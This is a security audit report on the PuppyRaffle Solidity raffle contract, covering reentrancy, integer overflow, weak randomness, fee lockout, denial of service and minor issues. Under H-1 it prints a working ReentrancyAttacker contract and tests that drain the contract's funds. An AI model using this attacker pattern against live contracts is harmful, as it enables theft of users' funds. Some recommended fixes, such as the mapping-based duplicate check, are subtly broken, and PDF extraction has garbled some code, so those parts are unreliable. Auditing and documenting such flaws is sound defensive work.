PuppyRaffle Audit Report

Version 1.0

Ranir

May 24, 2025

Protocol Audit Report

Ranir

MAY 24, 2025

Prepared by: Ranir

Table of Contents

Protocol Summary

This protocol implements a decentralized raffle system for minting cute dog NFTs. Participants can enter the raffle by calling the enterRaffle function with a list of addresses, representing themselves or their friends. Duplicate addresses are automatically rejected to ensure fairness.

Participants can withdraw from the raffle and receive a refund by invoking the refund function.

At regular time intervals, the protocol allows the selection of a random winner, who will receive a newly minted dog NFT. The total funds collected are split: a portion goes to a predefined feeAddress, set by the protocol owner, and the remaining balance is awarded to the winner.

Risk Classification

		Impact		
		High	Medium	Low
Likelihood	High	H	H/M	M
	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Commit Hash: e30d199697bbc822b646d76533b66b7d529b8ef5 ## Scope ./src/ #– PuppyRaffle.sol ## Roles - Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the changeFeeAddress function. - Player - Participant of the raffle, has the power to enter the raffle with the enterRaffle function and refund value through refund function.

Issues found

Severity	Number of issues found
High	4
Medium	2
Low	1
Info	9
Gas	2
Total	18

Findings

High

[H-1] The PuppyRaffle::refund function call an external entity before updating the state this can lead to a potential Reentrancy attack.

Description: ThePuppyRaffle::refund function is vulnerable to a reentrancy attack. Specifically, the contract transfers entranceFee to msg.sender via sendValue before updating the internal state (players[playerIndex] = address(0)). This order of operations allows a malicious contract to re-enter the refund function before the player's state is properly cleared, potentially enabling multiple refunds and draining the all fund of the contract.

Impact: An attacker could exploit this to receive multiple refunds for the same entranceFee until The PuppyRaffle funds are all drill.

Proof of Concept: Reentrancy attack Demonstration

To demonstrate the vulnerability, we perform the following steps: 1. Setup:We first populate the raffle with multiple players to fund the contract and ensure there is enough ETH available for exploitation. 2. Deploy Attacker Contract:We deploy a malicious contract called ReentrancyAttacker, specifically designed to exploit the refund function. 3. Launch the Attack:The attack begins by calling the ReentrancyAttacker::attackfunction in order to enter the raffle, acquires the playerIndex and then call PuppyRaffle::refund to trigger a refund of the entranceFee. 4. Reentrancy Exploit:When the refund is sent back to ReetrancyAttacker, either the fallback or receive function is automatically invoked. Inside one of these functions, we call ReentrancyAttacker::stealFunds, which in turn re-enters the refund function before the player's state is cleared. 5. Draining the Contract:Because the player's entry is still considered active during the reentrancy, the contract allows multiple refunds for the same player index. This loop continues until the entire balance of the PuppyRaffle contract is drained. Add the following to the test file:

test_reentrancyRefund

```
1   function test_reentrancyRefund()public{
2         address[]memory players=new address[](4);
3         players[0]=address(1);
4         players[1]=address(2);
5         players[2]=address(3);
6         players[3]=address(4);
7     puppyRaffle.enterRaffle{value:entranceFee*4}(players);
8         // To create attack contract and user
9  ReetrancyAttacker attackerContract = new ReetrancyAttacker(puppyRaffle)
      ;
```

```
        address attacker= makeAddr("attacker");
          vm.deal(attacker, 1 ether);

    // Noticing Starting balances
uint256 startingAttackContractBalance = address(attackerContract).balance;
uint256 startingPuppyRaffleBalance = address(puppyRaffle).balance;

    // attack
vm.prank(attacker);
attackerContract.attack{value: entranceFee}();


   // impact
console.log("attackerContract balance: ", startingAttackContractBalance);
console.log("puppyRaffle balance: ", startingPuppyRaffleBalance);
console.log("ending attackerContract balance: ", address(attackerContract).balance);
console.log("ending puppyRaffle balance: ", address(puppyRaffle).balance);
    }
```

ReentrancyAttacker Contarct

```
contract ReetrancyAttacker{
    PuppyRaffle puppyRaffle;
    uint256 entranceFee;
    uint256 attackerIndex;
constructor(PuppyRaffle _puppyRaffle){
    puppyRaffle=_puppyRaffle;
    entranceFee=puppyRaffle.entranceFee();
}

function attack()public payable{
    address[]memory players=new address[](1);
    players[0]=address(this);
puppyRaffle.enterRaffle{value:entranceFee}(players);
    attackerIndex=puppyRaffle.getActivePlayerIndex(address(this));
puppyRaffle.refund(attackerIndex);
}

function stealfund()internal{
    if(address(puppyRaffle).balance>=entranceFee){
puppyRaffle.refund(attackerIndex);
    }
}
fallback()external payable{
    stealfund();
}
receive()external payable{
```

```
27         stealfund();
28     }
29     }
```

Recommended Mitigation: Always follow the “checks-effects-interactions” pattern: 1. Move the state update (players[playerIndex] = address(0)) before the external call (sendValue). 2. Alternatively, use the ReentrancyGuard from OpenZeppelin to prevent re-entrancy across the whole function.

[H-2] Integer Overflow in Fee Accumulation `PuppyRaflle::totalFees`

Description: The protocol accumulates fees using the following operation:

line

```
1 totalFees = totalFees + uint64(fee);
```

Here, totalFees is expected to store the cumulative sum of fee value cast to uint64.However, this addition is not checked for overflow. In Solidity versions prior to 0.8.0, arithmetic operations do not automatically revert on overflow, and even in 0.8.x+ environments, explicit type conversions (e.g., casting a larger type to uint64) may not prevent silent overflows if not properly handled.If the cumulative value of fees exceeds type(uint64).max, the totalFees variable will wrap around and reset to a smaller value, resulting in incorrect protocol accounting.

code

```
1 uint64 value= type(uint64).max;
2  value=18 446 744 073 709 551 615
3 value=value+1;
4  value will wrap around and reset to 0
```

Impact: In `PuppyRaffle::selectWinner`, `totalFees` is incremented with each new fee, and its value is later used in `PuppyRaffle::withdrawFees` to transfer the accumulated amount to `feeAddress`. However, if `totalFees` overflows due to unbounded accumulation, the variable will wrap around and reset to a lower value. As a result, the `feeAddress` may receive a significantly reduced amount—or no fees at all—during withdrawal. This leads to a permanent loss of protocol revenue and leaves the surplus fees stuck in the contract, which cannot be recovered unless additional logic is implemented.

Proof of Concept: 1. A raffle is completed with 4 participants resulting in a small accumulation of fees. 2. Subsequnetly, 89 additionnal participants join and complete another raffle,significantly increasing the total fees. 3. The totalFees variable is updated using the following line:

```
1 totalFees= totalFees + uint64(fee);
```

Subtitution actual values:

```
totalFees = 80000000000000000 + 17800000000000000000;
```

Due to the integer overflow , totalFees wraps around and become:

```
totalFees = 153255926290448384;
```

4. As result, calling withdrawFees()will revert at teh following line:

```
require(address(this).balance == uint256(totalFees), "PuppyRaffle:
    There are currently players active!");
```

This condition will fail because the contract balance no longer matches the overflowed totalFees value. Consequently, fees are locked in the contract and cannot be withdrawn.Although one could theoretically use selfdestruct to forcibly match the contract balance with the overflowed totalFees, doing so is impractical, insecure, and contrary to the protocol's intended behavior.

Add the following line to PuppyRaffle.t.sol

Proof of Code

```
function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(
            players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
            second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);
```

```
27
28          // We are also unable to withdraw any fees because of the
                require check
29          vm.prank(puppyRaffle.feeAddress());
30          vm.expectRevert("PuppyRaffle: There are currently players
                active!");
31          puppyRaffle.withdrawFees();
32      }
```

Recommended Mitigation: To fixe this isssue their some ajustement that must be done to the protocol.

1. Use `uint256 totalFees = 0` instead of `uint64 totalFees=0`

```
1 - uint64 totalFees = 0;
2 + uint256 totalFees= 0;
```

2. Use a recent version of solidity

```
1 - pragma solidity ^0.7.6;
2 + pragma solidity ^0.8.18;
```

3. Remove this line of code in `PuppyRaffle::withdrawFees`function.

```
1 -  require(address(this).balance == uint256(totalFees), "PuppyRaffle:
      There are currently players active!");
```

[H-3] Insecure Randomness in PuppyRaffle::selectWinner Enables Predictable or Manipulable Outcomes

Description

The `PuppyRaffle::selectWinner` function derives its randomness from a hash of `msg.sender`, `block.timestamp`, and `block.difficulty`. This approach is insecure, as these values are either controllable or predictable by malicious actors. Specifically, `msg.sender` can be manipulated by deploying contracts from specific addresses, `block.timestamp` can be influenced by miners within a limited range, and `block.difficulty` now replaced by `block.prevrandao`is predictable by validators. As a result, users can potentially influence or predict the raffle outcome and the selection of the winning puppy. Additionally, once users observe an unfavorable outcome, they may choose to front-run or revert their transaction, further undermining the integrity of the raffle.

Impact 1. Outcome Manipulation: Attackers can reliably predict or control the winner of the raffle. 2. Rarity Exploitation: Malicious actors can deliberately target the rarest puppy for rewards. 3. Front-

Running & Reverts: Users can monitor the result before finalizing transactions, enabling refund abuse. 4. Game Integrity Loss: If such exploits are public, a gas war may ensue for winner selection, rendering the raffle mechanics meaningless.

Proof of Concept 1. Validators can know the values of `block.timestamp` and `block.difficulty` ahead of time and usee that to predict when/how to participate. See the solidity blog on prevrandao. `block.difficulty` was recently replaced with prevrandao.

2. Controlled `msg.sender`: A user can deploy a contract from an address that biases the outcome in their favor.
3. Revert on Unfavorable Result: A user initiates selectWinner, simulates the outcome, and reverts if the result is not favorable, retrying in a different block.

Recommended Mitigation Consider Using a Ramdom Number Generator such as Chainlink VRF (https://docs.chain.link/vrf).

[H-4] Mishandling of ETH in withdrawFees may lock funds permanently

Description The `PuppyRaffle::withdrawFees` function relies on a strict equality check between the contract's ETH balance (`address(this).balance`) and the `totalFees` variable. If for any reason these values diverge whether due to rounding issues, failed refunds, accidental transfers, or maliciously sent ETH—this check will fail, blocking the withdrawal of legitimately accrued fees.Additionally, if the totalFees variable is ever subject to overflow or miscalculation, the condition will never be satisfied, potentially locking all protocol fees in the contract permanently.

Impact 1. Legitimate fees may become permanently inaccessible to the protocol owner. 2. The fee collection mechanism can be blocked by any mismatch between the contract balance and the totalFees variable. 3. Malicious users could send dust ETH to the contract to desynchronize the values and block withdrawals (griefing vector). 4. This tight dependency couples unrelated contract states (fees vs. player activity) and increases fragility.

Proof of Concept 1. Fees are collected into totalFees and held by the contract. 2. An attacker sends 1 wei of ETH directly to the contract (outside of raffle logic). 3. `address(this).balance` is now greater than `totalFees` anymore. 4. The following condition in withdrawFees fails:

```
1   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
       There are currently players active!");
```

5. Result!!!No one can call withdrawFees, even though there are no active players.

Recommended Mitigation Replace the equality check with a more robust mechanism that accurately tracks active players and decouples it from ETH balance checks: 1. Maintain a dedicated counter for

active players (e.g., activePlayers) and only restrict withdrawFees if that counter is non-zero. 2. Avoid using address(this).balance as a proxy for raffle state. 3. Alternatively, maintain a separate accounting ledger for total expected deposits and fees, and only compare values derived from internal variables not raw balances.

```
require(activePlayers == 0, "PuppyRaffle: There are currently players
    active!");
```

Medium

[M-1] Lopping througth the array of player can lead to a potential Denial Of Service.

Description: The `PuppyRaffle::enterRaffle`function iterates over the players array to detect duplicate entries. As the PuppyRaffle::players array grows, each new entrant must perform more comparisons. Consequently, participants who enter the raffle earlier will incur significantly lower gas fees compared to those who join later. Each additional address in the players array results in one more iteration, directly increasing the gas cost for subsequent entries.

```
// @audit Denial Of Service Attack
@> for(uint256 i = 0; i < players.length -1; i++){
     for(uint256 j = i+1; j< players.length; j++){
     require(players[i] != players[j],"PuppyRaffle: Duplicate Player");
   }
}
```

Impact: The gas cost for raffle entrants will greatly increase as more players enter the raffle, discouraging later users from entering and causing a rush at the start of a raffle to be one of the first entrants in queue.An attacker might make the `PuppyRaffle:entrants` array so big that no one else enters, guaranteeing themselves the win.

Proof of Concept: We first introduced 100 participants into the raffle and recorded the gas usage:

```
 Gas used by the first 100 entries: 6,252,039
```

Next, we added another 100 participants and again measured the gas consumption:

```
Gas used by the second batch of 100 entries: more than 3× the initial
    cost
```

This demonstrates that gas costs scale significantly with the number of existing entries, making it increasingly expensive for later participants to join the raffle.

Proof of Code

```
function testDenialOfService()public{
```

```
2
3       vm.txGasPrice(1);
4       uint256 numberOfPlayers = 100;
5
6       address[] memory firstHundredplayers = new address[](
            numberOfPlayers);
7       for (uint256 i = 0; i < numberOfPlayers; i++) {
8           firstHundredplayers[i] = address(i); // Assign valid addresses
9       }
10      //the gas cost of the first hundred players
11      uint256 gasStart = gasleft();
12      puppyRaffle.enterRaffle{value: entranceFee * firstHundredplayers.
            length}(firstHundredplayers);
13      uint256 gasEnd = gasleft();
14      uint256 gasUsedByTheFirstHundredPlayers = (gasStart - gasEnd)* tx.
            gasprice;
15      console.log("Gas used by the first 100 players: ",
            gasUsedByTheFirstHundredPlayers);
16
17      //let's introduce a second hundred player the Raffle
18      address[] memory secondHundredPlayers = new address[](
            numberOfPlayers);
19      for (uint256 i = 0; i <numberOfPlayers; i++) {
20          secondHundredPlayers[i] = address(i + numberOfPlayers); //
                Assign valid addresses
21      }
22      uint256 gasStart2 = gasleft();
23      puppyRaffle.enterRaffle{value:entranceFee*secondHundredPlayers.
            length}(secondHundredPlayers);
24      uint256 gasEnd2 = gasleft();
25      uint gasUsedByTheSeconnHundredPlayers=(gasStart2-gasEnd2);
26      console.log("Gas used by the second 100 Players: ",
            gasUsedByTheSeconnHundredPlayers);
27      assert(gasUsedByTheFirstHundredPlayers<
            gasUsedByTheSeconnHundredPlayers);
28
29
30  }
```

Recommended Mitigation: There are a few recommandation we suggest

```
1  1.Reconsider disallowing duplicates. Users can always generate new
       wallet addresses, meaning that enforcing a unique-entry policy based
        on wallet addresses does not effectively prevent a single user from
        entering multiple times. It merely restricts the same address from
       doing so, which can be easily bypassed.
2
3  2.Optimize duplicate checks using a mapping. Instead of looping through
        an array to detect duplicate entries (which grows linearly in cost)
       , consider using a mapping structure that allows constant-time
       checks. For example, you could assign each raffle a unique uint256
```

```
        ID and use a mapping such as mapping(address => uint256) to track
        whether a player has already entered a specific raffle
```

```
1  +     mapping(address => uint256) public addressToRaffleId;
2  +     uint256 public raffleId = 0;
3       .
4       .
5       .
6       function enterRaffle(address[] memory newPlayers) public payable {
7           require(msg.value == entranceFee * newPlayers.length, "
                PuppyRaffle: Must send enough to enter raffle");
8           for (uint256 i = 0; i < newPlayers.length; i++) {
9               players.push(newPlayers[i]);
10 +             addressToRaffleId[newPlayers[i]] = raffleId;
11          }
12
13 +
14 +        for (uint256 i = 0; i < newPlayers.length; i++) {
15 +           require(addressToRaffleId[newPlayers[i]] != raffleId, "
    PuppyRaffle: Duplicate player");
16 +        }
17 -        for (uint256 i = 0; i < players.length; i++) {
18 -            for (uint256 j = i + 1; j < players.length; j++) {
19 -                require(players[i] != players[j], "PuppyRaffle:
    Duplicate player");
20 -            }
21 -        }
22          emit RaffleEnter(newPlayers);
23      }
24 .
25 .
26 .
27      function selectWinner() external {
28 +        raffleId = raffleId + 1;
29          require(block.timestamp >= raffleStartTime + raffleDuration, "
                PuppyRaffle: Raffle not over");
```

Alternatively, you could use **OpenZeppelin's EnumerableSet library**.

[M-2] Wallets without a `Receive` or a `fallback` function could block the start progression.

Description The `PuppyRaffle::selectWinner` function attempts to send the prize directly to the winner's address. If the winner is a smart contract that does not implement a `receive` or `fallback` function, the transfer will fail, causing the entire transaction to revert.As a result, the raffle cannot be properly concluded, which prevents a new lottery round from starting. Additionally, legitimate winners may be unable to claim their prize if their wallet rejects direct ETH transfers.Although externally owned accounts (EOAs) may still participate in future rounds, the

presence of an unclaimable winning prize can result in significant gas costs for all users and hinder protocol operation.

Proof of Concept 1. Deploy or use 10 smart contract wallets without a receive or fallback function. 2. Have them all enter the raffle. 3. End the raffle by calling selectWinner. 4. If the selected winner is one of the above contracts, the ETH transfer fails. 5. The transaction reverts, and the raffle cannot be reset.

Recommended mitigation Use a pull-based payment model rather than paying winners directly,the idea here is to push winners whithdraw the prize they have wont themselves.in order to do that: Maintain a mapping of address => pendingReward, and allow winners to manually withdraw their prizes using a claimReward() function. This approach shifts the responsibility of claiming funds to the recipient and avoids reentrancy or blocking issues.

Recommendation Code Implantation

```
mapping(address => uint256) public pendingRewards;

function selectWinner() external {
    // calculate winnerIndex
    address winner = players[winnerIndex];
    pendingRewards[winner] += prizeAmount;
    // reset raffle
}

function claimReward() external {
    uint256 amount = pendingRewards[msg.sender];
    require(amount > 0, "No reward to claim");
    pendingRewards[msg.sender] = 0;
    payable(msg.sender).transfer(amount);
}
```

Alternative (Not Recommended): Restrict participation to EOAs only. This is generally discouraged, as it limits accessibility and composability with smart contracts.

Low

[L-1] Ambiguous Return Value in `getActivePlayerIndex()` Can Cause User Confusion and Duplicate Entries

Description:
The `getActivePlayerIndex()` function exhibits ambiguous behavior by returning `0` for two distinct cases: 1. When the player exists at index `0` in the `players` array. 2. When the player does not exist in the array. This violates the principle of clear return value semantics and contradicts the function's intended purpose of unambiguously identifying player participation.

Impact This issue may cause user confusion particularly for players at index 0 who cannot distinguish between successful and failed lookups potentially resulting in duplicate entries, unnecessary gas expenditures, and in some cases, the loss of entry fees

Recommendation

```
    function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
-     return 0;
+     revert("Player not found");
}
```

Informational

[I-1] Ambiguity in Index Retrieval: getActivePlayerIndex cannot distinguish inactive Players from Index Zero

Description: If no match is found in the players array, `PuppyRaffle::the getActivePlayerIndex` function returns 0. However, index 0 may also correspond to the first player registered in the raffle. This creates ambiguity: if the caller is not the first player, it's unclear whether they are not in the raffle or are simply at index 0.

Impact: This issue may lead to confusion or incorrect assumptions.For instance, if a player queries their index and receives 0, it may be misinterpreted as confirmation of their participation, even if they are not actually part of the raffle.

Recommended Mitigation: Return a special sentinel value that cannot conflict with a valid index such as `type(uint256).max`to indicate that the player is not in the raffle.

```
function getActivePlayerIndex(address player) external view returns (uint256) {
    for (uint256 i = 0; i < players.length; i++) {
        if (players[i] == player) {
            return i;
        }
    }
-   return 0;
+   return type(uint256).max; // clear signal: player not found
```

[I-2]: Solidity pragma version should be explicitly defined

For better security and predictability, it's recommended to use a fixed Solidity compiler version rather than a floating one. This prevents potential issues with future compiler versions that might introduce breaking changes.For example, instead of `pragma solidity ^0.8.0;`, use `pragma solidity 0.8.0;`

Floating pragma

- Found in src/PuppyRaffle.sol Line: 3

```
1 pragma solidity ^0.7.6;
```

[I-3]: Using an older version of solidity is not recommended

DescriptionThe contract is compiled using an outdated version of Solidity (0.7.6). Newer compiler versions include critical security updates, improved optimizations, and additional safety checks that could prevent potential vulnerabilities.

Impact - Misses important security patches and compiler checks - Lacks access to newer safety features - Potential compatibility issues with tooling and testing frameworks

Recommandation Upgrade to one of the following stable Solidity versions: - 0.8.18 (recommended) - 0.8.20 (latest stable) When updating use a fixe pragma statement `pragma solidity 0.8.18;`

[I-4] Zero-Address Validation Missing for Critical Address Assignments

Description: The contract fails to implement zero-address checks when assigning values to address-type state variables. This oversight could lead to irreversible operational issues if critical functions are accidentally or maliciously configured with the zero address.

Impact: - Potential loss of funds if fees are sent to address(0) - Contract functionality disruption if critical operations reference the zero address - Irreversible state changes requiring contract migration

Instances Identified at

- Found in src/PuppyRaffle.sol Line: 75

```
1         feeAddress = _feeAddress;
```

- Found in src/PuppyRaffle.sol Line: 229

```
1         feeAddress = newFeeAddress;
```

RecommendationImplement explicit zero-address validation for all address assignments

```
require(_feeAddress != address(0), "Invalid address: zero address");
```

[I-5] does not follow CEI, which is not a best practice

It's best to keep code clean and follow CEI (Checks, Effects, Interactions).

```
```diff
```

- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); _safeMint(winner, tokenId);
- (bool success,) = winner.call{value: prizePool}("");
- require(success, "PuppyRaffle: Failed to send prize pool to winner"); "'

[I-6] Violation of Checks-Effects-Interactions Pattern in Prize Distribution

Description: The contract executes an external call to transfer funds before completing state changes, violating the Checks-Effects-Interactions (CEI) pattern. This creates potential reentrancy risks and inconsistent state management.

```
// Current implementation (unsafe order)
(bool success,) = winner.call{value: prizePool}("");
require(success, "PuppyRaffle: Failed to send prize pool to winner");
_safeMint(winner, tokenId);
```

Recommendation Correct CEI ordering

```
_safeMint(winner, tokenId); // Effects first
(bool success,) = winner.call{value: prizePool}(""); // Interaction
    last
require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-7] Avoid Use of Magic Numbers for Improved Readability and Maintainability

Description The use of raw numeric literals also known as magic numberscan reduce code clarity and increase the risk of errors during updates. Without contextual names, it is difficult for readers and maintainers to understand the purpose of each value. This practice can lead to misunderstandings and bugs, especially when the same number appears in multiple locations.Using named constant variables improves code readability, facilitates audits, and centralizes changes.
```

RecommendationReplace number literals with clearly named constant values that reflect their purpose. This makes the code self-documenting and safer to modify. `js uint256 public constant PRIZE_POOL_PERCENTAGE = 80; uint256 public constant FEE_PERCENTAGE = 20; uint256 public constant POOL_PRECISION = 100; uint256 prizePool = (totalAmountCollected * PRIZE_POOL_PERCENTAGE)/ POOL_PRECISION; uint256 fee = (totalAmountCollected * FEE_PERCENTAGE) / POOL_PRECISION;`

```
-uint256 prizePool = (totalAmountCollected * 80) / 100;
-uint256 fee = (totalAmountCollected * 20) / 100;
```

[I-8] State Changes are Missing Events

A lack of emitted events can often lead to difficulty of external or front-end systems to accurately track changes within a protocol.It is best practice to emit an event whenever an action results in a state change. Examples: - `PuppyRaffle::totalFees` within the `selectWinner` function - `PuppyRaffle::raffleStartTime` within the `selectWinner` function - `PuppyRaffle::totalFees` within the `withdrawFees` function

[I-9] _isActivePlayer is never used and should be removed

Description: The function PuppyRaffle::_isActivePlayer is never used and should be removed.

```
```diff
-    function _isActivePlayer() internal view returns (bool) {
-        for (uint256 i = 0; i < players.length; i++) {
-            if (players[i] == msg.sender) {
-                return true;
-            }
-        }
-        return false;
-    }
```
```

Gas

[G-1] Unchanging state variables can be declared as immutable.

Reading from strorage variable is more expensive gas than reading from constanor immutable variable.

Instances: - `PuppyRaffle::raffleDuration`should be immutable - `PuppyRaffle::commonImageUri` shoud be constant - `PuppyRaffle::rareImageUri`should be constant - `PuupyRaffle::lengendaryImageUri`should be constant

[G-2] Storage Read Operations in Loops Should Be Optimized Using Caching

Description: The contract performs multiple storage reads of `players.length` within nested loops. Since storage operations are significantly more expensive than memory operations, this results in unnecessary gas consumption.

Impact: - Each storage read costs 2100 gas (cold access) or 100 gas (warm access) - For a loop with N iterations, this results in O(N) unnecessary storage reads - The gas waste compounds exponentially in nested loop structures

Affected Code:

```
for (uint256 i = 0; i < players.length - 1; i++) {
    for (uint256 j = i + 1; j < players.length; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
}
```

Recommendation

```
uint256 playersLength = players.length;
for (uint256 i = 0; i < playersLength - 1; i++) {
    for (uint256 j = i + 1; j < playersLength; j++) {
        require(players[i] != players[j], "PuppyRaffle: Duplicate
            player");
    }
}
```

Tools used for this Audit:

- Foundry,
- Slither
- Aderyn

About the Auditor

Ranir
Blockchain Security Researcher | Solidity Developer Trained by Cyfrin — a leading organization in blockchain security education. Email: **silahoudineabdel@gmail.com**
Available for freelance audits and consulting.